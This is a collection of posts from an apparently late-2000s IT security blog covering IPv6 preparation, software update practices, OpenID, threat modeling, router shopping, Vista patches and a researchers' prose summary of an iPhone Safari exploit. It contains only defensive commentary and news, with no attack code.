What's it take to get from here to there? Being prepared with real, solid and accurate information is probably the most important step. Not many of us are naturally wired to take action before something bad happens. As an IT guy, I can tell you this: In the real world, most IT people don't learn what they need to know until after they need to know it. A lazy learning methodology just won't work in this case.

For IT professionals, do not assume that just because you were able to pick up your IPv4 knowledge over a long weekend of studying and tinkering that you'll be able to do the same with IPv6 - That's just not the case. IPv6 is more complex and has a lot more parts to understand. If you haven't learned it by now, for shame. Some of you have a little time left. Get on the ball, and gain the deep understanding you need to do your job properly.

For application and hardware vendors that haven't yet dealt with the IPv6 change, you're running late. While many vendors of firewall software, switched, home routers, etc. have made the proper changes, there are also many that have not. Even worse, there are a variety of IPv4-to-IPv6 workarounds that can relatively easily be put in place by unknowing people (read: the IT guys mentioned above) that circumvent firewalls and other protections that are relied upon for good security. Bad design, convenient at the time, disaster waiting to happen. Prevent this.

If you're an individual computer user or owner, what is the status of your software vendors with regard to dealing with IPv6 network traffic? Are you running the latest firewall software, current router firmware? Do the latest versions protect you in an IPv6 world?

IPv6 is a great move, and in time it will dramatically change for the better how computers and devices interact. That is, if we don't manage to screw it all up in the process.

Now is the time. IPv6 is here, Go forth. Learn, analyze and secure.

I know this isn't exactly a new thing, but as I was installing the IE8 Beta 1 for x64 architecture on a computer today to do some testing, I felt a warm-fuzzy sense of appreciation for the fact that more and more we are seeing software that checks for patches and updates before installing and running for the first time. It makes for more-secure system, which is nothing but good.

No matter what you think of Internet Explorer (and for the record/what it's worth, I like it quite a bit these days), you have to admit the safer installation process is a great improvement.

You have firewalls and anti-malware system, video surveillance and monitoring systems for network traffic to and from the Internet. But look at eWeek's semi-smart list of the top ten infosec risks workers pose to your business today, and you may need to rethink your plans.

I call this a "semi-smart" list because it's practical and real-world, and doesn't assume the "standards" out there cover all the bases. But, at the same time it doesn't offer much in the way of solutions, which always frustrates me (and it misses some key points, especially related to intentional worker behavior, as opposed to neglect, and how it can substantially enhance the potential associated with these risks).

Point is, each of the items pointed out is very much worth considering and reviewing in your business security program. Just don't forget to look at them in the big-picture perspective of the business.

And now for the list:

• USB Flash Drives
• Laptops
• P2P
• Web Mail
• Wi-Fi
• Smart Phones
• Collaboration Tools
• Social Networks
• Unauthorized Software Updates
• Virtual Worlds

Pretty much every modern technical productivity enhancer. Before anyone starts screaming the alarmist song, think about not only how these things can be used for good, but also about how they could be used to to Very Bad Things.

How many of those technologies are specifically and can be proven effectively covered under your infosec policies? How many have you tested in the real world to see what your compliance profile really looks like? Could you meaningfully test for these threats, even if they were on your plan?

You can check out the eWeek article here.

Nate Westheimer of The Silicon Alley Insider has this to say:

Twitter should take full advantage of their messaging platform, user base and user disposition to lead in the P2P mobile payments space, where, despite years of hype, no one has much of a head start.

Link to the article: How Twitter Could Be Worth A Billion In A Year

I have to admit, coming from the Internet financial services space, the thought of this actually happening scares me slightly, given the serious lack of stability and the manner in which changes have been made at Twitter with less than complete communication. But at any rate, they have a lot of money to throw at the problems, so I am rooting for them to get things right. It just hurts. :)

Westheimer makes some good points. Twitter is carrier/provider-agnostic and has amazingly terrific user and market penetration. Just as I send you a direct message today by typing "d yourname hi how are you?" I could pay you using syntax like "p yourname $20."

But getting from here to there is an whole other story. It's far from trivial to create a financial transaction and accounting system, especially one that scales to the sizes required (but it certainly can be done).

It's an appealing and interesting idea and one that warrant some real thought. As someone who comes from the the online banking software, infrastructure and security world, I can see the market need as well as the challenges from many fronts that will face any company that finally jumps fully on-board the micro-payments and mobile-payments train. A number of good, well-funded companies have given it a run before with limited success. It's a complex problem to solve, but it's doable.

It sure sounds like a fun challenge, and there's a massive marketplace out there just waiting for someone to get it right. Note the operative verbiage there - Doing it well is critical to success. The fact is there's no room for "scale later" in this game.

What do you think? Would you pay people via Twitter if you could? Would it be useful to you?

Last month, Microsoft released the Microsoft Forefront Integration Kit for Network Access Protection, a solution accelerator that enables their Forefront Client Security products to interoperate with the Network Access Protection (NAP) capabilities included in Windows Server 2008. In a nutshell, it allows an integrated system of policy compliance and real-time checking of the status of a computer's Forefront security status, as well as remediation and access protection for machines that fall or are found to be out of compliance.

Using the technologies together, administrators can leverage the state of a client computer as part of the information and policy status that NAP leverages in controlling access to the network.

You can use the Kit to help protect your network infrastructure by configuring a Forefront Client Security compliance health policy across your network, monitoring the operational health of Forefront Client Security in real time, and remediating problems that arise.

More and better in-depth defense mechanisms, and ones that work well together on top of that, are good to see coming out of Microsoft and others. It's the kind of progress that's needed to stay on top of quickly evolving threats, and to proactively keep them from spreading.

(via Dan Griffin)

I'm pulling my hair out (what I have left, anyhow) trying to find a good home/home office wireless router that includes all the features I need. Granted, I'm a bit of a power user, but I'm honestly a bit surprised I can't find what I want out there somewhere. You'd think someone would build it. My list of features and performance requirements includes:

• Gigabit WAN and LAN ports - and needs to have four LAN ports
• VPN capability that I can use cross-platform - an SSL VPN might be the best option, but whatever works well and lets me connect with Windows, Mac, etc. is what really matters to me
• Working, reliable and effective QOS - routers I have used in the past have either been terrible or mediocre at properly shaping and allocating traffic for VoIP and other services
• Reliable and full-featured administrative capabilities in firmware
• Quiet, reliable hardware
• IPv6 support
• Wireless-N

Until recently, I have been using a D-Link DIR-625 router, which has been stable and reliable. But it's a 100-megabit device and the QOS is marginal for VoIP traffic in my experience. Plus the firmware has not been updated recently and there is no VPN capability. It's rock-solid at what it does, though. I've only had to reset it a couple times since I have had it.

I've looked at the D-Link DIR-655 router, which is their currently-touted gigabit version of the 625 model. It's still on my list possible solutions, but with no VPN it doesn't meet all my needs, and D-Link doesn't seem to have one that includes all the features.

Yesterday I picked up a VPN router with gigabit and QOS made by Linksys, the WRVS4400N. It's not cheap and honestly I'm not sure why I allowed myself to buy a Linksys product after all the headaches I have had with them before. The net result of the past 12 hours of use is that I'm going to return it today. Between the slow reboots required with every other change I make and the lack of capabilities in the software (and some stuff that just doesn't work), it's already frustrating me. D-Link has seriously spoiled me in the Admin interface/firmware capabilities department, even without releasing any updates. Add to that the high-pitched whine the Linksys router makes and the heat it generates when plugged in and there's just no way. The whine is pretty awful, and gives me a serious headache within minutes if I am near it. Back to the store it goes.

So, I am left without a solution that meets all my needs. I may just have to pick up the D-Link DIR-655 and live without VPN and then find a separate VPN solution, but I don't want to if I don't have to. Any ideas anyone? Is there an option out there that will meet my needs and expectations?

IPv6 has been around for something on the order of 15 years, yet it has yet to see widespread adoption. It was recently enabled on Internet core DNS infrastructure, and had been adopted in some network like those operated by certain mobile carriers. The current IP addressing and allocation scheme, dubbed IPv4, will eventually run out of IP addresses. There's been a sort of boy-called-wolf debate over whether we're really going to allocate the entire IPv4 address space anytime soon or not. But eventually we'll run out - some say in 2010.

Sean Siler, Program Manager responsible for IPv6, joined Richard Campbell and me for a RunAs Radio show. Sean really knows his stuff and did a terrific job of describing IPv6, comparing it to IPv4, and other useful information.

IPv6 enables a lot more than just additional addresses, though. Sean discusses what's the same, what's different and what's new (hint: IPSEC and multicasting everywhere). He also offers a great analogy to describe the enormous size of the IPv6 address space. It's mind-boggling, really.

If you don't understand or know much about IPv6, this interview is a great place to start learning, and you truly need to be doing so if you do network design or other work in your job. The change is significant, but not impossible - so go listen to the show and get learning!

Other resources:

• IPv6 information on Wikipedia
• IPv6 info from Microsoft
• Sean Siler's IPv6 blog

Mark Russinovich, a Microsoft Technical Fellow, presented a very good session at the TechEd IT Forum last year on the topic of advanced eradication of malware on Windows machines. It's a great session and has some useful advanced techniques for removal. It is also a very good resource for those who want to better understand how malware infects and what some of the risks are. Lots of practical information and how-to's in this one.

Fortunately, the session was recorded and is available online for anyone who wants to see it. If viruses and malware are a part of your job or if this type of security topic is of interest to you, it's an hour and twelve minutes well-spent. I went looking for this session online hoping to find the PowerPoint and found the whole session with video and demo and everything - terrific stuff.

(Updated 4/7 - link to video fixed)

Got iTunes, or anything else Apple on your Windows computer? If so, when the Apple software checks for updates, you'll probably see an option (which is enabled by default) to install Safari - even if you don't already have it installed  on your computer. Safari is Apple's default web browser (and actually not a bad one at that). But since people are used to seeing - well - updates when the software checks for updates, you might not realize you're installing new software.

Just making sure you're paying attention here, is all.

Sure enough, when I check for updates on my Windows machine, where Safari has never been installed, I'm presented with the option to install it...

As Tom Krazit tells us... Just un-check the box if you don't want to install Safari. Simple as that.

"It seems that at some point people became conditioned to downloading anything that shows up from an official source, like Microsoft, Apple, AOL, Yahoo, or whoever. Remember, it's your PC; spend your installation capital wisely." (link)

It's always important to pay attention to what you're clicking on. Fact is, Apple's probably counting on the fact that a significant number of people will just click without thinking - And that's indicative of a whole slew of problems, with users, companies, you name it.

For my part, I made the educated decision to install it. I actually kind of like Safari on the Mac, so I'm interested din trying it on Windows.

Microsoft and Apple have announced that they are working together to  make Exchange Server and the iPhone mobile phone work well together. Apple will license Exchange ActiveSync for use on the iPhone, which will in Turn help assure the Exchange Server dominance in the marketplace stays they way it is. It's really as simple as that.

The fact is that Exchange is a pretty terrific server product for email, calendaring and a lot more. The iPhone is a pretty terrific mobile device. They don't integrate too terribly well today: You can sync your calendar and contacts via the USB connection to your computer, and you can get IMAP email from a properly-configured Exchange server (which works, but is not exactly optimal). But it's far from simple, far from seamless, and far from supportable in the enterprise.

One has to wonder what this means, either directly or indirectly, for the Windows Mobile world. I know the arguments: Different markets, different platforms, different purposes, etc. etc. etc... but with the iPhone SDK availability, that gap will be much narrower. And the fact of the matter is, Apple has the usability nailed with the iPhone. Sure, there's a few enhancements needed. But those are ones that can (and I'm certain will) be done.

ActiveSync will provide the ability (assuming Apple leverages all the features) to do push email, calendar and contact sync over the air, and task list sync.

Perhaps one of the more important potential benefits from ActiveSync integration with the iPhone is the ability to get enterprise-class security on the device, which to date is lacking and doesn't meet the needs or standards of most commercial IT departments. Exchange 2007 clients can be set up for enforced enterprise IT "policies" or controls, which would go a long way toward satisfying the security needs. In my mind, that's the biggest potential win. Without that, pushing email and syncing calendars and contacts is to risky an activity.

From Apple's press release come details of what they intend to provide - and it looks liek Cisco VPNs are in the package, as well:

Apple has licensed Exchange ActiveSync from Microsoft and is building it right into the iPhone, so that iPhone will connect out-of-the-box to Microsoft Exchange Servers 2003 and 2007 for secure over-the-air push email, contacts, calendars and global address lists. Built-in Exchange ActiveSync support also enables security features such as remote wipe, password policies and auto-discovery. The iPhone 2.0 software supports Cisco IPsec VPN to ensure the highest level of IP-based encryption available for transmission of sensitive corporate data, as well as the ability to authenticate using digital certificates or password-based, multi-factor authentication. The addition of WPA2 Enterprise with 802.1x authentication enables enterprise customers to deploy iPhone and iPod touch with the latest standards for protection of Wi-Fi networks.

The iPhone 2.0 software provides a configuration utility that allows IT administrators to easily and quickly set up many iPhones, including password policies, VPN setting, installing certificates, email server settings and more. Once the configuration is defined it can be easily and securely delivered via web link or email to the user. To install, all the user has to do is authenticate with a user ID or password, download the configuration and tap install. Once installed, the user will have access to all their corporate IT services.

Good move Apple. Good move Microsoft. Looking forward to this one!

Looks like Vista SP1 for the 64-bit version of the OS is now available publicly on Windows Update. No sign of the 32-bit version yet, but I'm glad to get it for this particular computer.

Knowledge Base article KB936330 is available, as is the release-notes publication at TechNet.

IBM Internet Security Systems' X-Force has released its annual report outlining the malicious software threat and trending landscape. In a nutshell, things are getting more complicated (landscape-wise) and the impact is becoming more technically complex. Read the report and you can directly glean as well as infer certain facts.

As malware becomes harder and harder to catch in real-time using currently-available technology (a trend that has become quite clear over the past year or more) and as the intent of the malicious software becomes more and more geared toward complete remote system control and access, the potential situation looks - I'll just say it - pretty darned bleak.

It's important to stay up-to-date if you're an IT or Security professional (or hard-core geek). Here are your links:

• The ars technica article: Annual IBM security report paints worrisome picture for 2008 (includes some good side-bar thoughts)
• The full IBM report download (PDF, about 3MB): IBM Internet Security Systems X-Force 2007 Trends Statistics

Quiz in the morning. :)

It's not like we didn't already know the malware (short for "malicious software") infection rate is increasing, but Google's security folks posted a technical paper and blog entry on Monday that illustrates the prevalence of "drive-by" malware distribution and just how big the problem has become.

Excerpt:

“During that time we have investigated billions of URLs and found more than three million unique URLs on over 180,000 web sites automatically installing malware” … “In the past few months, more than 1% of all search results contained at least one result that we believe to point to malicious content and the trend seems to be increasing.”

Add to that the fact that a significant and growing amount of newer malware recompiles itself into new forms each time it redistributes, making it virtually undetectable by current means, and the situation potentially becomes even scarier.

The technical paper is a very interesting read and explains some of the distribution techniques and designs. It also points out one piece of browser technology that has resurfaced to plague the security world many, many times: the iFrame.

The problem is most deeply rooted in China, where 67% of all malware distribution servers are located, and 64.4% of all landing sites (sites that point to a distribution site) are located. The next closest offending country is the United States, which accounts for about 15% of the distribution and landing sites. So, one can easily see where a significant portion of the problem lies. With the increases in business and trade taking place in China now, one has to worry about the future if computer systems are in such bad shape. Clearly, something needs to change.

If you're a security person, an IT server admin, work with web applications, develop web apps, or are for any reason interested in scary figures (such as the fact that "38.1% of the Apache servers and 39.9% of servers with PHP scripting support reported a version with security vulnerabilities."), read the report. It's worth the time you'll spend.

Richard and I had a good conversation with Scott Kveton, OpenID personality extraordinaire, on the RunAs Radio podcast this week. Scott is chairman of the OpenID Foundation.

OpenID is a cool and upcoming technology and has seen significant attention in the past few weeks especially as Yahoo! became an OpenID provider, immediately followed by an announcement that Microsoft, Google, Yahoo!, IBM and Verisign had joined the board of the OpenID Foundation.

It's time to get on-board and know what OpenID is, how it might play with other technologies in the identity and access management space, and how you can learn more. That's what this show is all about.

Scott Kveton Shares His OpenID (MP3 link)
from the RunAs Radio podcast

Richard and Greg talk to Scott Kveton about OpenID. OpenID is a single sign-on solution that could very well make the classic username and password obsolete. This is a fast half hour - you'll find yourself wanting to listen again!

I somehow missed the release, but a little while back Microsoft released Windows Live OneCare v2.0, and in that release added support for 64-Bit Windows Vista. A few months ago (before OneCare v2) I had just bought a new laptop that came with the 64-bit Vista Ultimate edition pre-installed, and when I went to install the then-released version of OneCare, I was pretty disappointed that it would not work.

When I was in Costco the other day, I noticed a OneCare package on the shelf and picked it up to glance at the system requirements. Lo and behold, the packaging had changed and now indicated that 64-bit Vista was supported! When did they slip that in? I didn't see mention of it on the OneCare blog or anywhere else.

But hey, all I knew was it looked like I would be able to use it now, so I was looking forward to giving it a try.

Today I uninstalled my frustratingly cruddy other (to remain nameless) antivirus software and installed the OneCare suite. For about $40 a year I can protect three PCs and centrally manage two of them from the computer I designate as the "hub" machine. Nice.

OneCare v2 includes:

• Antivirus & Antispyware protection
• Online ID protection
• Bi-Directional Firewall
• Multi-PC management
• Printer sharing
• Data backup and restore capabilities
• Maintenance and cleanup tasks (defrag, clean up useless stuff, etc.)

It's an easy and quick install, and a good way to make sure you're protected. You can watch a product demo and download the free 90-day trial here.

On my Windows Vista Ultimate 64-bit laptop, one of today's many Microsoft patches keeps prompting to be installed over and over, even after it indicates it is successfully installed. The patch in question is related to Microsoft Knowledge Base article KB937287, and is a prerequisite to Vista SP1, which is set to be made available next month.

Update 937287 is a prerequisite package that contains updates to the Windows Vista installation software. The installation software is the component that handles the installation and the removal of software updates, language packs, optional Windows features, and service packs. Update 937287 is necessary to successfully install and to remove Windows Vista SP1 on all versions of Windows Vista. This update will be available on the Windows Update Web site soon after the release of update 935509 and before the release of Windows Vista SP1. 

I ran the installation for all of today's patches which applied to my computer (twelve of them in total) and this one kept hanging around. Each time I restarted the computer, Windows Update again prompted me to start the installation. Confusing and frustrating after the fourth or fifth time, to be sure (reminds me of a joke about the definition of "insanity" heh).

I was able to resolve this problem by downloading the individual 64-bit patch from the Microsoft Downloads site and installing it manually. Note that the linked download location is for 64-bit Vista OS users only. Once I did that, the prompts stopped and it shows up in the installation list as successfully installed on the machine. In fact, the list now shows all of the installation attempts as successful, with a separate line for each try. Only the first try now shows "failed." Strange.

It's interesting that the KB article points out that this update will be required in order to install Vista SP1 via Windows Update when it is released, but not if you chose to download and install the service pack manually (as it will contain the fix). Extra interesting is that for this update I was unable to install it via Windows Update, but was successful with the manual install.

At any rate, there have been a flurry of posts on a variety of forums and other sites today where people were having this problem. Some people were recommending grabbing a leaked version of SP1 Refresh 2 via non-MS sites (read: not a good idea) and installing that, but for those who wish to wait and make sure they get what MS releases when they release it, this option is probably better for you.

If it works, drop a comment. Actually, be sure to comment if it doesn't work for you, too. :)

Updating from IE6 to IE7 is a considerably good thing to do, but IT pros need to plan for these things in some cases for compatibility and other reasons, so awareness is important.

If you're an IT shop using Windows Software Update Services (WSUS), be aware that today marks the date that Microsoft planned to start automatically delivering Internet Explorer 7 to desktop machines as an automatic update on WSUS systems. Computers on WSUS-managed computers that have IE6 installed will be updated, either automatically or upon administrative approval, depending on your configuration.

So, if you don't want your IE software updated today, it's important to check that your WSUS system is set up to require administrative approval before updates are pushed to the machines on your network (this is the default setting, but I've seen it changed in many cases for "convenience").

From the Microsoft Knowledge Base article (KB946202):

If you have configured WSUS to "auto-approve" Update Rollup packages (this is not the default configuration), Windows Internet Explorer 7 will be automatically approved for installation after February 12, 2008 and consequently, you may want to take the actions below to manage how and when this update is installed. You will need to take action if:

• You use WSUS to manage updates in your organization.
• You have Windows XP Service Pack 2 (SP2)-based computers or Windows Server 2003 Service Pack 1 (SP1)-based computers that have Internet Explorer 6 installed.
• You do not want to upgrade Internet Explorer 6 machines to Windows Internet Explorer 7 at this time.
• You have configured WSUS to auto-approve Update Rollups for installation.

Important notes

• This does not apply to Windows Vista because Windows Internet Explorer 7 is a component of Windows Vista.
• The Internet Explorer Blocker Toolkit blocks only installation that occurs by using Windows Update and Automatic Update. The toolkit does not block distribution that occurs by using WSUS. This article concerns distribution that occurs by using WSUS. Internet Explorer 7 is already available in 23 languages by using Windows Update and Automatic Update. On February 12, 2008, Internet Explorer 7 will also be made available in Japanese by using Windows Update and Automatic Update

The KB article also includes instructions describing how to configure the WSUS server, if needed.

(reminded via Mary Jo Foley - All About Microsoft)

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UPDATE: Want to be able to track a BlackBerry when it gets lost or stolen with a more robust online system? Check out GadgetTrak, available for GSM-based devices.

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Got a Blackberry? Ever worried what you'd do if you lost it? Ever actually had to replace a lost one before? Lost or stolen, it's good to be able to find your handheld, especially if it has important data on it.

A couple years ago I was in Minnesota on a trip and went to play Frisbee^TM Golf with a friend. The course went through the woods and across a couple fields. When we got done, I realized my Blackberry phone was missing. Not good.

We used my friend's cell phone and started calling it. I got lucky that day. It was (thankfully) not on vibrate mode, and we eventually found it deep in the woods (where I had been forced to bushwhack in order to get to my flying disc). The battery was near dead.

Now it appears there's a better way. Berry Locator is a software program that will cause your Blackberry device to scream and flash - even when set on silent mode. When you lose your device (or if you can't find it in the house clutter) you just send it a specially-formed email and it wakes up and does its thing, letting you find it. Even better, if your BB has GPS capabilities, you send an email and it will reply via email with a map showing you the coordinate where the device is located. Plus, you can type text in the body of your email that will be displayed on the screen when it's activated, in case someone else finds (or otherwise has possession of) your Blackberry.

Combine that feature with a password, data encryption and the ability to nuke the device in a worst-case scenario (on a corporate BES system), and you're pretty good to go.

Cool capability, but it only works if you install it ahead of time. There's a free trial version, and when you decide to buy it, it's only five bucks.

• Berry Locator web page
• Direct OTA install download for Blackberry devices

Today came an announcement that represents a pretty big step in the identity space. Yahoo! announced they have rolled out beta support for OpenID v2.0 and that Yahoo! is now a provider of OpenIDs. In fact, anyone who has a Yahoo! account can quickly generate a Yahoo! or Flickr-branded OpenID to sign onto any web site that supports OpenID v2.0 for authentication. That's 248 million accounts at Yahoo! that can now potentially be leveraged across the Internet for sign-on.

OpenID is an important standard that came out of the open-source community, which will likely change the way we provide identifying information and gain access to secured web sites on the Internet. It allows its users to have a single identity that can be used across different sites on the Internet. It also allows users to have the proper level of control over how they identify themselves and who they want to trust with that process.

One significant key to success for OpenID as a standard is adoption by a set of trusted identity "providers" - or OpenID-issuing organizations that people are comfortable with when it comes to asserting their identity information. With Yahoo! a large number of regular, everyday people can use their existing accounts to perform OpenID logins on any site supporting the standard. In the future, the hope is that other consumer-trusted providers will see the value of brand recognition that goes along with being the OpenID provider for consumers. Yahoo has me as an OpenID client now, which means every time I log onto an OpenID-enabled site and use that ID, I am by default thinking on some level about Yahoo! -- Pretty smart. It's time for banks, other financial service providers, and similar industries to seriously start thinking this one through. It's coming, and now is the time to be on the bandwagon.

Where can you use your OpenID to log in? Lots of places. There's a list of web sites over at myopenid.com, a service provided by Portland company JanRain. The people at JanRain have created some great software and services around the OpenID standard that businesses can use to leverage OpenID, and that enable social networks around the standard. It's pretty cool stuff.

Here's some basic information about OpenID from the Yahoo! OpenID provider site:

What is OpenID?

In a nutshell, the OpenID technology makes life simpler by having only one username and password to remember.

Once you have enabled your Yahoo! account for OpenID access, you only need to remember your Yahoo! ID and password to use hundreds of websites... So bid farewell to password spreadsheets and stickies all over your desk!

When you are on a web site that supports OpenID login, simply look for a Yahoo! login button. Or if you see a text box with an OpenID icon, simply type in "yahoo.com". You will be sent to Yahoo! to verify your Yahoo! ID and password, and then you will be able to continue on.

You can find out even more at openid.net (the OpenID Foundation), and it's worth pointing out that you can also get an OpenID from a slew of other organizations - after all, it's all about making it your choice. The OpenID foundation keeps a list of providers on its wiki and at this link.

People just don't think, research or plug in their brains a lot of the time before speaking typing.

Such was the case the other day over at Kim Cameron's Identity Weblog, which was defaced recently via a  vulnerability in the blog application software used to drive the site. Kim is a Microsoft employee and is their Identity Architect. So, he's in a public-facing security role at the company.

As Kim points out, people came out of the woodwork in the comments on a very brief ZDNet article to slam Microsoft, it's applications, the fact that the site was hacked, etc. What they did not realize, even after it was pointed out to them a few times by others, is that the site runs on a BAMP architecture (similar to LAMP, but in this case it's BSD Unix, Apache, mySQL and PHP).

Kim's site runs 100% on non-Microsoft products. The vitriolic commenters on the ZDNet site slammed Microsoft technologies where none exist, and exuded the virtues of using - for example - Linux, Apache, mySQL and PHP -- the very platform that they did not take the time to discover (or even ask) had just been victimized.

You know what they say about assuming things? Yeah.

Security threats are real and exist on all platforms equally, not just IIS and Windows, not just in Windows applications. Bad programmers are bad programmers, and even when well-programmed, new threats arise all the time and need to be remediated once known. There's nothing about that fact that's Microsoft-specific, and to assume such is irresponsible.

I like and respect Kim, and the work he has done is excellent. His evangelism of the need for better forms of identification, authentication and credentialing has been invaluable, and his emphasis on the broad-spectrum community, not just Microsoft, is the right way to address the issues that cross all platforms and application types.

I have seen this non-thinking, just-fire-off-at-the-mouth, *nix-fixes-everything mentality backfire on people before, to great cost. Any system administrator who thinks running anything other than Windows solves their security problems or obviates the need to test, patch, review and maintain has his or her head stuck so far in the sand we have to strain to see their backside. Thinking and reasoning is what makes people special and unique. Take the time to know the facts, understand the circumstances, and reason based in reality.

Facts: Problems exist everywhere - Windows, Linux, OSX, PHP, ASP.NET, you name it. More often than being caused by an underlying platform issue, most security vulnerabilities and exploits are the result of programming errors, a lack of defensive programming style, and poor test coverage. I've managed enough software development with a specific focus on security of the applications to know you can create a completely locked down platform on any of the options available, whether Linux or Windows or other. But if you don't have a solid application, you're screwed. It's a lot like buying a great alarm system with laser detectors in the ceiling, trip wires on the roof, foot-think ceilings of concrete to prevent break-through, glass break sensors on explosive- and projectile-proof glass ... and leaving the front door standing open.

Kudos to Kim for keeping his cool personality in the face of all this and, as always, providing a measured and reasoned response. As he says, "There’s a lot of ideology to get past in teaching people about security." So true.

Adam Shostack of Microsoft takes a critical look at threat modeling and changes to TM processes in a short series of posts on the MSDN Security Development Lifecycle (SDL) blog. It's a good read, especially when aligned with Larry Osterman's recent writings (which I mentioned recently) and those of others. If you're not a reader of the SDL blog and you're a security person or developer, I recommend it highly, by the way.

"In this first post of a series on threat modeling, I’m going to talk a lot about problems we had in the past. In the next posts, I’ll talk about what the process looks like today, and why we’ve made the changes we’ve made. I want to be really clear that I’m not critiquing the people who have been threat modeling, or their work. A lot of people have put a tremendous amount of work in, and gotten some good results. There are all sorts of issues that our customers will never experience because of that work. I am critiquing the processes, saying we can do better, in places we are doing better, and I intend to ensure we continue to do better."

Here's quick links to the blog articles by Adam. Those interested in secure development need to know and use a threat modeling process, and a critical view of said processes is important, so it's good to see this healthy example:

• The Trouble with Threat Modeling
• The New Threat Modeling Process
• Getting into the Flow With Threat Modeling

(also via Michael Howard's blog, which is a must-read security resource, too)

I've worked in the financial services software industry for years. For the last couple years I ran the security division of a major online-banking software and services provider. Security is paramount in that market. The responsibility that goes along with the role is huge, but it's a responsibility that's shared by everyone involved. Taking security seriously can't be something that happens after the work is done, and it can't just happen at some milestone point in a project. It needs to be an ingrained principle, part of the way things are done from beginning to end.

Threat modeling, loosely-described, is a design process by which you examine your software application design through the eyes of the bad guys, in order to determine what your design needs to take into consideration and how it should be built to protect against malicious threats. From the design phase you take your documented threat model into development and use it as a living document throughout the development lifecycle. Or at least that's how we did it.

Larry Osterman, who's worked at Microsoft pretty much forever, is a pro when it comes to threat modeling and secure coding. I haven't ever met Larry, but I've read his thoughts on the topic and they're solid. He's written before a couple times about this, and more recently (over the past month) he wrote and posted a series of excellent articles on his blog about threat modeling at Microsoft in the Windows division. If you're into this sort of thing, as I am, it's also very interesting to look back at his articles from the earlier years and to compare how they do things today. They've matured quite a bit.

I'll leave the narrative and examples to Larry, but let me add this by way of punctuation: Threat modeling takes some time and effort, but understand that security is a critical component of quality. Reputations (and therefore businesses) depend on it. It takes a very intentional process to properly understand the landscape and to look at all the threats and vectors of attack. It's not easy for people to shift gears. Most developers spend all their time thinking in terms of getting software to function according to customer requirements. Just as important is making sure it won't do what the bad guys want it to do. So, if you're ready to argue that you don't have time to do threat modeling, I have a solid argument (several of them really, which are backed up by real-world proof) that you can't afford not to. Threat modeling is risk management for the software industry.

And then there's the very-real side benefit of threat modeling. When your designers and developers sit down before building the product and really start to think about all aspects of quality in a formal, documented manner, you don't just get security improvements. They'll be seeing and thinking about general product improvements that you just won't get otherwise. I can't tell you how many times someone has come to me during a threat modeling process with a look of glee in their eyes, excited to tell me "hey this threat modeling stuff is pretty cool, and we even came up with some other stuff that isn't strictly security-related but will make it a much better product. I'm glad we did this."

The rule of the game is strategic thought, proper defense, quality first, and better software done faster that costs less. And it can happen if you let it.

If you're a software developer, tester or product manger and you don't know what threat modeling is and how it works, you're missing out on something that really should be required in this day and age. So here is what you should do:

1. Read Larry's articles, they're quite good.
2. Buy three books (you'll notice Michael Howard is an author on them all):
• The Security Development Lifecycle
• Writing Secure Code (2nd Edition)
• Threat Modeling
3. Be a leader and implement what you learn.

This one should be interesting to watch. There's a new blog at Microsoft's MSDN blogs system called hackers @ microsoft (http://blogs.msdn.com/hackers/), and the first (introductory) post is up. I hope to see some interesting security and general information here. Might be a good source of some useful insight. There are many things Microsoft is doing right these days, security-wise. More on that in another post some other time.

From the opening post on hackers @ microsoft:

"Welcome to a new blog from Microsoft.  The focus of this blog is likely to be a little different from most other blogs you'll see on blogs.msdn.com.  Microsoft employs some of the best hackers in the world and actively recruits them and develops them.  They work on all kinds of projects, whether it be in development, research, testing, management and of course security ... So yes, Microsoft does have hackers, and its time to introduce you to some of them and show you what it is, exactly that they do."

Cool. Subscribed.

(via betanews.com)

I just ran across Microsoft.com's strong password checker, which is a little web-based app that lets you type a password or passphrase in and it tells you the relative strength. It's pretty nice and worth bookmarking.

Why are strong passwords important? Simple - because the simpler it is, the easier it is for someone to "brute-force" attack. That's a term that means they take a program that uses common terms, words and phrases to try to figure out your password by trying it over and over until it works. Strong passwords are complex in the variety of character types, are longer in size and don't use dictionary or other predictable, common terms.

Links:

• Microsoft Strong Password Checker
• Creating Strong Passwords article (I agree with most of what they say but not all - Suggesting blank passwords?!?! Whaaat?!?!)

Recent security issues revealed by a group of security researchers, which will be showcased this week at the Blackhat conference in Las Vegas, are apparently dealt with via an update to the iPhone software released last night by Apple. You can read the change-log here.

Time to load up iTunes, all you iPhone users, and get your security fixes.

Also, looks like the Engadget guys seem to think Safari runs better in general and Boy Genius Report has a few non-security-related fixes/changes they have found.

Ouch, this news is a few days old but I am just catching up on security reading and ran across this one. The securityevaluators.com guys have found some real issues with the iPhone's security and have been able to exploit it. The New York Times and others have covered this recently. Seems much of the iPhone application library runs as admin/root. The overall design of the iPhone seems to rely in large part on preventing apps from running, rather than creating a robust security environment. But leverage browser vulnerabilities or similar issues on a hacked wireless network or Internet web site and it can get very interesting very quickly.

From the executive summary in the findings document:

To demonstrate these security weaknesses, we created an exploit for the Safari browser on the iPhone. We used an unmodified iPhone to surf to a malicious HTML document that we created. When this page was viewed, the payload of the exploit forced the iPhone to make an outbound connection to a server we controlled. The compromised iPhone then sent personal data including SMS text messages, contact information, call history, and voice mail information over this connection. All of this data was collected automatically and surreptitiously. After examination of the file system, it is clear that other personal data such as passwords, emails, and browsing history could be obtained from the device. We only retrieved some of the personal data but could just as easily have retrieved any information off the device.

Additionally, we wrote a second exploit that performs physical actions on the phone. When we viewed a second HTML page in our iPhone, it ran the second exploit payload which forced it to make a system sound and vibrate the phone for a second. Alternatively, by using other API functions we discovered, the exploit could have dialed phone numbers, sent text messages, or recorded audio (as a bugging device) and transmitted it over the network for later collection by a malicious party.

This is the sort of thing I was afraid of when I wrote about the potential for iPhone security and use in the enterprise. Security vulnerabilities are not just about the Windows platform, after all. Here's a mobile platform, effectively in v1, and it has flaws that can be readily exploited. Hopefully Apple will be able to get some patches ready and out before the these evaluators release the details the evening of August 2nd at the Black Hat conference, which is where the researchers - who have already provided Apple with the full details so they can create and distribute a fix - will be presenting their discoveries.

One of the cool new features in Windows Server 2008 (which is currently available in beta) is Network Access Protection. This feature allows network admins to set up comprehensive network controls to allow access only to the proper computers and users, and based on a set of "health" criteria determined by the admin. For example, let's say you want to require antivirus software to be up to date and patches installed before allowing a VPN connection to the LAN. NAP lets you do that. Wireless and wired networks can be significantly enhanced for local and remote access. It's the next wave of access management and control, and any IT network admin needs to get familiar. This is leaps and bounds above the "NAP-lite" capabilities from Server 2003.

This podcast interview with Jeff Sigman covers the subject well, and give you a quick preview into what the capabilities are. Listen, download the beta and give it a try.

